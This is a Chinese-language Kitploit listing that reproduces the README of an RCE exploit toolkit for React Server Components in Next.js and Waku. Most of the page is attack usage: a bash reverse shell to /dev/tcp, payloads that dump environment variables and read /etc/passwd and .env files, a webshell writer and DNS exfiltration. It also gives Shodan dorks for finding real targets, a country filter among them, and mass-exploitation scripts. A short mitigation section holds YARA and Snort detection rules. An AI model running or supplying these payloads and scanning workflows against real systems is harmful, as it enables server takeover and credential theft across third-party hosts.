Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PoC-RCE-CVE-2025-55182 — 针对 React Server Components 漏洞的高级 RCE 利用工具包。具有多个预构建负载、Shodan 集成用于目标发现,以及用于授权渗透测试的批量扫描。 | Kitploit
工具/GitHubGitHub/ilixm/poc-rce-cve-2025-55182
侦察漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试命令与控制红队远程访问工具Payload 开发
GitHubilixm/poc-rce-cve-2025-55182

PoC-RCE-CVE-2025-55182

39个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

针对 React Server Components 漏洞的高级 RCE 利用工具包。具有多个预构建负载、Shodan 集成用于目标发现,以及用于授权渗透测试的批量扫描。

查看仓库

🔥 RSC RCE 漏洞利用工具包

版本 许可证 Node 平台

用于 React 服务端组件远程代码执行漏洞的高级利用工具包

仅限授权的渗透测试和安全研究使用

功能 • 安装 • 使用 • Shodan 集成 • 示例 • 免责声明


📋 目录

  • 概述
  • 漏洞详情
  • 功能特性
  • 安装
  • 快速开始
  • 使用说明
    • 基础利用
    • 可用载荷
    • 自定义载荷
  • Shodan 集成
  • 自动化扫描
  • 示例
  • 缓解措施
  • 受影响版本
  • 贡献
  • 免责声明
  • 许可证

🎯 概述

本工具包利用 React 服务端组件(RSC)实现中的关键**远程代码执行(RCE)**漏洞,特别针对:

  • Next.js(13.4.0 - 14.1.0 版本)
  • Waku(受影响版本)

该漏洞利用 RSC 数据处理机制中的原型污染和不安全反序列化,在服务器上实现任意代码执行。

🔴 严重性:严重

  • CVSS 评分:9.8(严重)
  • 攻击向量:网络
  • 所需权限:无
  • 用户交互:无
  • 影响:完全服务器沦陷

🔬 漏洞详情

技术背景

React 服务端组件使用自定义序列化格式在客户端和服务器之间传输数据。漏洞存在于这些框架反序列化和处理特制载荷的方式中。

攻击链:

  1. 载荷构造:构建带有循环引用的恶意 RSC 载荷
  2. 原型污染:滥用 $X:constructor:constructor 访问 Function 构造函数
  3. 代码注入:在 _prefix 字段中注入任意 JavaScript
  4. 执行:服务器反序列化并执行载荷

利用流程

root@kitploit:~
攻击者 → 恶意 RSC 载荷 → 目标服务器
                             ↓
                  不安全反序列化
                             ↓
                  原型链访问
                             ↓
                   Function 构造函数
                             ↓
                   ⚠️ 实现 RCE ⚠️

✨ 功能特性

核心能力

  • ✅ 多框架支持:Next.js 和 Waku
  • ✅ 8 种预构建载荷:从 PoC 到完整反弹 Shell
  • ✅ 自定义代码执行:注入任意 JavaScript 代码
  • ✅ Shodan 集成:自动发现目标
  • ✅ 批量扫描:自动测试多个目标
  • ✅ 专业 CLI:完整的命令行界面
  • ✅ 详细日志记录:带时间戳的彩色输出
  • ✅ 错误处理:健壮的异常管理

预构建载荷


📦 安装

先决条件

  • Node.js >= 16.0.0
  • npm 或 yarn
  • Shodan CLI(可选,用于自动化扫描)

克隆仓库

root@kitploit:~
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit

安装依赖

root@kitploit:~
npm install
# 或
yarn install

设置 Shodan(可选)

root@kitploit:~
# 安装 Shodan CLI
pip install shodan

# 使用你的 API 密钥初始化
shodan init YOUR_API_KEY

🚀 快速开始

1. 基础漏洞检测

root@kitploit:~
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console

2. 获取反弹 Shell

root@kitploit:~
# 启动监听器
nc -lvnp 4444

# 执行利用
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

3. 执行自定义命令

root@kitploit:~
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload execCommand \
  --command "whoami"

📖 使用说明

基础利用

root@kitploit:~
node rsc-rce-exploit.js [选项]

选项

*--payload 或 --custom 必须提供一个

可用载荷

查看所有载荷:

root@kitploit:~
node rsc-rce-exploit.js --list

输出:

root@kitploit:~
📋 可用载荷:

  console              - 基础 PoC - 控制台输出
    代码: console.log(7*7+1)

  reverseShell         - 反弹 Shell(bash)
    代码: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')

  readFile             - 读取 /etc/passwd
    代码: console.log(require('fs').readFileSync('/etc/passwd','utf8'))

  envDump              - 导出环境变量
    代码: console.log(JSON.stringify(process.env,null,2))

  execCommand          - 执行系统命令
    代码: console.log(require('child_process').execSync('COMMAND').toString())

  webshell             - 写入 Webshell 到 /tmp
    代码: require('fs').writeFileSync('/tmp/shell.js','...')

  exfilPackage         - 读取 package.json
    代码: console.log(require('fs').readFileSync('./package.json','utf8'))

  dnsExfil             - DNS 外带数据
    代码: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)

自定义载荷

执行任意 JavaScript 代码:

root@kitploit:~
node rsc-rce-exploit.js \
  --target http://target.com \
  --custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"

🌐 Shodan 集成

Shodan Dorks

Next.js 目标

root@kitploit:~
# 基础 Next.js
http.component:"Next.js"

# 带 RSC 的 Next.js
http.html:"__next" http.html:"RSC"

# Next.js 开发模式(更容易受攻击)
http.html:"__NEXT_DATA__" http.html:"development"

# 自托管 Next.js(不在 Vercel 上)
http.component:"Next.js" -org:"Vercel"

# 按地理位置目标(法国)
http.component:"Next.js" country:FR

# 渗透测试终极组合
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080

Waku 目标

root@kitploit:~
# Waku 框架
http.html:"waku" http.html:"RSC"

# Waku RSC 端点
http.path:"/RSC/"

自动化 Shodan 扫描

使用提供的自动化脚本:

root@kitploit:~
# 扫描并自动测试
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100

# 搭配自定义载荷
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump

手动 Shodan 工作流程

root@kitploit:~
# 1. 搜索 Shodan
shodan search 'http.component:"Next.js" country:FR' \
  --fields ip_str,port,org,hostnames \
  --limit 100 > targets.txt

# 2. 测试每个目标
while read -r line; do
    ip=$(echo $line | awk '{print $1}')
    port=$(echo $line | awk '{print $2}')
    echo "[*] Testing http://$ip:$port"
    node rsc-rce-exploit.js \
      --target "http://$ip:$port" \
      --payload console
done < targets.txt

🤖 自动化扫描

批量利用脚本

mass-exploit.js 工具可以测试多个目标:

root@kitploit:~
# 从文件读取
node mass-exploit.js --file targets.txt --payload console --threads 10

# 从 Shodan 读取
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump

# 保存结果
node mass-exploit.js --file targets.txt --payload console --output results.json

集成到 CI/CD

自动化安全测试示例:

root@kitploit:~
# .github/workflows/security-test.yml
name: RSC 安全测试
on: [push]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - run: npm install
      - run: node rsc-rce-exploit.js --target http://staging.example.com --payload console

💡 示例

示例 1:基础 PoC

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload console

预期输出:

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║           RSC RCE 漏洞利用工具 - 增强版                      ║
║         React 服务端组件代码执行                             ║
╚═══════════════════════════════════════════════════════════╝

[*] 开始利用...
[*] 定位 Next.js RSC 端点...
[*] URL: https://vulnerable.example.com
[*] 载荷: console.log(7*7+1)...
[+] 响应状态: 200
[+] 响应体:
50
[*] 利用完成!

示例 2:环境变量窃取

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://api.target.com \
  --payload envDump

结果:

  • 导出所有 process.env 变量
  • 可用于提取:
    • 数据库凭证
    • API 密钥
    • AWS 密钥
    • JWT 密钥

示例 3:反弹 Shell

root@kitploit:~
# 终端 1:启动监听器
nc -lvnp 4444

# 终端 2:执行利用
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

示例 4:Web Shell 部署

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload webshell

# 访问 Web Shell
curl "http://vulnerable.example.com:9999/cmd?c=whoami"

示例 5:DNS 外带(盲式)

root@kitploit:~
# 设置 Burp Collaborator 或你自己的 DNS 服务器
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"

示例 6:Waku 框架

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://waku-app.example.com \
  --framework waku \
  --endpoint /RSC/custom.txt \
  --payload execCommand \
  --command "id"

示例 7:文件窃取

root@kitploit:~
# 读取敏感文件
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --custom "console.log(require('fs').readFileSync('.env','utf8'))"

🛡️ 缓解措施

对于开发人员

  1. 更新框架

    root@kitploit:~
    npm install next@latest
    # 或
    npm install waku@latest
    
  2. 验证输入

    root@kitploit:~
    // 验证所有 RSC 载荷
    function validateRSCPayload(payload) {
      // 实施严格验证
      if (payload.includes('constructor')) return false;
      if (payload.includes('__proto__')) return false;
      return true;
    }
    
  3. 内容安全策略

    root@kitploit:~
    // next.config.js
    module.exports = {
      async headers() {
        return [{
          source: '/:path*',
          headers: [
            { key: 'X-Frame-Options', value: 'DENY' },
            { key: 'X-Content-Type-Options', value: 'nosniff' },
          ],
        }]
      },
    }
    
  4. 在生产环境中禁用 RSC(如不需要)

    root@kitploit:~
    // next.config.js
    module.exports = {
      experimental: {
        serverActions: false,
      },
    }
    

对于安全团队

  • 🔍 监控可疑的 RSC 请求
  • 🚨 告警关于 next-action 头的使用
  • 🔒 WAF 规则阻止原型污染尝试
  • 📊 日志分析检测利用尝试

检测规则

YARA 规则:

root@kitploit:~
rule RSC_RCE_Exploit {
    strings:
        $s1 = "constructor:constructor"
        $s2 = "_prefix"
        $s3 = "$@"
        $s4 = "resolved_model"
    condition:
        3 of them
}

Snort 规则:

root@kitploit:~
alert tcp any any -> any any (msg:"RSC RCE 尝试"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)

🎯 受影响版本

Next.js

Waku

版本范围状态备注
< 0.18.0⚠️ 存在漏洞严重 RCE
>= 0.18.0✅ 已修复建议更新

🤝 贡献

欢迎贡献!请遵循以下指南:

  1. Fork 仓库
  2. 创建特性分支(git checkout -b feature/amazing-feature)
  3. 提交更改(git commit -m 'Add amazing feature')
  4. 推送到分支(git push origin feature/amazing-feature)
  5. 开启 Pull Request

贡献想法

  • 添加更多载荷模板
  • 实现 Nuclei 模板
  • 添加更多 RSC 框架支持
  • 改进 Shodan 集成
  • 添加报告功能(PDF/HTML)
  • 为工具包创建 Docker 容器

⚖️ 免责声明

root@kitploit:~
⚠️ 法律免责声明 ⚠️

本工具包仅供授权的安全测试和研究使用。

使用本软件即表示您同意:

1. 仅测试您拥有或具有明确书面权限的系统
2. 遵守所有适用的地方、州、国家和国际法律
3. 不得将此工具用于恶意目的或非法活动
4. 对自己的行为承担全部责任

作者和贡献者:
- 不对因使用本工具造成的任何误用或损害负责
- 不鼓励或纵容非法活动
- 按“现状”提供本工具,不附带任何形式的担保

未经授权访问计算机系统是违法的。

违规者将受到法律最严厉的起诉,包括但不限于:
- 计算机欺诈和滥用法(CFAA)- 美国
- 计算机滥用法 - 英国
- 欧洲网络犯罪公约
- 以及您所在司法管辖区的其他适用法律

使用风险自负。

📄 许可证

本项目采用 MIT 许可证 - 详情请见 LICENSE 文件。

root@kitploit:~
MIT 许可证

版权所有 (c) 2024 RSC RCE 漏洞利用工具贡献者

特此免费授予任何获得本软件副本及相关文档文件(“软件”)的人不受限制地处理本软件的权利,包括但不限于使用、复制、修改、合并、发布、分发、再许可和/或出售软件副本的权利,并允许被提供软件的人这样做,但须满足以下条件:

上述版权声明和本许可声明应包含在软件的所有副本或实质性部分中。

本软件按“现状”提供,不附带任何明示或暗示的担保,包括但不限于适销性、特定用途适用性和非侵权性的担保。在任何情况下,作者或版权持有人均不对因软件或软件的使用或其他处理引起的或与之相关的任何索赔、损害赔偿或其他责任负责,无论是合同行为、侵权行为还是其他行为。

🔗 资源

官方文档

  • Next.js 服务端 Actions
  • React 服务端组件
  • Waku 文档

安全研究

  • RSC 反序列化漏洞分析
  • JavaScript 原型污染
  • Next.js 安全最佳实践

相关 CVE

  • CVE-2024-XXXXX(占位符 - 有可用时添加真实 CVE)

📬 联系

  • GitHub Issues:报告错误或请求功能
  • 安全问题:[email protected]
  • Twitter:@yourhandle

⭐ 如果本工具帮助了您的安全研究,请给它点个星!⭐

由安全研究人员为安全研究人员制作,用 ❤️ 构建

⬆ 回到顶部

下载工具
载荷描述用途
console基础 PoC(console.log)验证漏洞
reverseShellBash 反弹 Shell初始访问
readFile读取 /etc/passwd文件系统访问
envDump导出环境变量凭证提取
execCommand执行系统命令任意命令执行
webshell部署 Express Webshell持久化访问
exfilPackage窃取 package.json依赖分析
dnsExfilDNS 外带数据(OOB)盲利用
选项描述必需
--target <url>目标 URL✅
--framework <名称>框架:next 或 waku❌(默认:next)
--payload <名称>载荷名称(见下文)✅*
--custom <代码>自定义 JavaScript 代码✅*
--lhost <ip>你的 IP(用于反弹 Shell)❌
--lport <端口>你的端口(用于反弹 Shell)❌
--command <命令>要执行的命令❌
--endpoint <路径>自定义 RSC 端点(Waku)❌
--action-id <ID>自定义 next-action ID❌
--list列出可用载荷❌
--verbose详细输出❌
--help显示帮助❌
版本范围状态备注
< 13.4.0✅ 不受影响RSC 默认不启用
13.4.0 - 13.4.19⚠️ 存在漏洞严重 RCE
13.5.0 - 14.0.4⚠️ 存在漏洞严重 RCE
14.1.0⚠️ 存在漏洞部分缓解
>= 14.1.1✅ 已修复建议更新